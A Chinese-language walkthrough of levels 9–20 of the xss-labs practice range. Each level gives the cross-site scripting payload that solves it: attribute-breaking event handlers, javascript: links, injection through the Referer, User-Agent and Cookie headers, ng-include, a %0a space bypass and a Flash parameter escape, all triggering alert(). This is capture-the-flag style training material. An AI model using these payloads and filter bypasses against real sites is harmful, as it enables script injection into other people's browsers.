1.level 9
先查看下源代码,遇上一关类似。
试试上一关的payload
javascript:alert(1)
页面报错。
strpos()函数
strpos()函数是 PHP 中的一个字符串函数。它的主要作用是在一个字符串中查找另一个字符串(子字符串)首次出现的位置。如果找到了子字符串,它会返回子字符串在原始字符串中的起始位置索引(从 0 开始计数);如果没有找到,则返回false。
语法格式:strpos(string $haystack, string $needle, int $offset = 0): int|false
$haystack:这是要在其中进行搜索的原始字符串,也就是 “干草堆”,你要在这个字符串里面寻找目标子字符串。
$needle:这是要查找的子字符串,就像是在 “干草堆” 里找的那根 “针”。
$offset(可选参数):这个参数指定从原始字符串的哪个位置开始搜索。默认值是 0,表示从字符串的开头开始搜索。
它会在字符串变量 $str7
中查找子字符串 'http://'
首次出现的位置。我们需要向传入的值里面添加http://,并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,但是http://存在时,代码也没法正常执行。则payload:
javascript:alert(1)/* http:// */
2.level 10
此题没有输入框,url中get传参传给的是keyword
可见传给的是t_sort。<>被过滤了
因为这里输入框被隐藏了,需要添加type="text"
?t_sort=" onfocus=javascript:alert() type="text
或
?t_sort=" onclick=javascript:alert() type="text
JavaScript 伪协议是一种特殊的 URL 协议,它允许在网页的超链接(<a>标签)或者其他可以使用 URL 的地方,以javascript:开头来执行 JavaScript 代码。简单来说,它提供了一种在 HTML 中直接嵌入 JavaScript 代码并且能够通过用户交互(如点击链接)来触发执行的机制。语法格式为javascript:代码内容;。例如,javascript:alert('这是一个JavaScript伪协议的示例');。
在 HTML 中,可以在<a>标签的href属性中使用它。如:在html中 <a href="javascript:alert('欢迎访问!')">点击我</a> 当用户点击这个链接 “点击我” 时,就会执行alert('欢迎访问!')这段 JavaScript 代码,弹出一个包含 “欢迎访问!” 字样的警告框。
方法二:
F12,双击修改进行绕过
点击弹出的输入框即可完成
3.level 11
方法一:
先验证一下前面三个标签名,GET传参:
?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
POST传参:
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
referer
均未赋值成功,则第四个名为t_ref的<input>标签是http头referer的参数(也就是告诉服务器当前请求是从哪个页面链接过来的) 。用burpsuite抓包一下,添加http头。
查看源码,把><给删掉了,但我们还能用onfocus,构造一个http头
Referer: " onfocus=javascript:alert() type="text
方法二:用上题的法二可通过。
4.level 12
User-Agent
查看源码知,这是User-Agent头.用burpsuite抓包,将User-Agent头修改为
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
查看源码,把><给删掉了。跟上题一样,构造User-Agent头
" onfocus=javascript:alert() type="text
5.level 13
cookie
t_cook是cookie,其余与上两题一样
6.level 14
HTML <iframe> 标签:作用是标记一个内联框架!一个内联框架被用来在当前 HTML 文档中嵌入另一个文档。
这题本来是利用转跳到的网站,在那网站去上传一个属性里面含有xss代码的图片,以达到弹窗的效果。可以参考以下文章 【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关) - 先知社区xss-labs靶场-第十四关
7.level 15
ng-include
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
我们先试试看包涵第一关,构建payload
?src='/level1.php'
可见两关合到一关了。先测试一下过滤了啥
?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
发现这里进行了实体转义,没有删掉东西,所以我们可以包涵第一关并让第一关弹窗 。这里不能包涵那些直接弹窗的东西如<script>,比如?src='level1.php?name=<script>alert()</script>',但是可以包涵那些是能需要我们手动点击弹窗的标签比如<a>、<input>、<img>、<p>标签等等。可参考XSS常见的触发标签
?src='level1.php?name=<img src=111 onmouseover=alert()>'
鼠标移过去即可出发成功。
确实为实体化函数。
8.level 16
test插入到了center标签中,所以这里就不用闭合了。测试关键字
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P</> <sCriPt> <a hReF=javascript:alert()> j
发现字母小写化了,script,/替换成了空格,空格被实体化。
空格可以用回车的url编码%0a来代替绕过
?keyword=<svg%0Aonload=alert()>
9.level 17
embed
<embed> 是 HTML 中的一个标签,用于在网页中嵌入外部内容,比如多媒体文件(音频、视频)、插件(如 Flash 插件)等基本语法。随着 Web 技术的发展,<embed> 标签的使用场景逐渐减少,特别是 Flash 插件逐渐被淘汰后。现代浏览器对 <embed> 标签的支持主要集中在常见的多媒体格式上。对于音频和视频,更推荐使用 <audio> 和 <video> 标签,它们提供了更好的语义化和跨浏览器兼容性。
由于好多浏览器不支持flash插件,所以我们这里采用修改后端代码的方式来解决。将后端第十七关的代码(level17.php)指向的swf文件改为index.png,就可以正常显示了。
刷新一下level 17
构造payload:
?arg02= onclick=alert()
点击区域后成功
10.level 18
原理跟上一关一样。
11.level 19
?arg01=version&arg02=<a href="javascript:alert()">here</a>
12.level 20
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123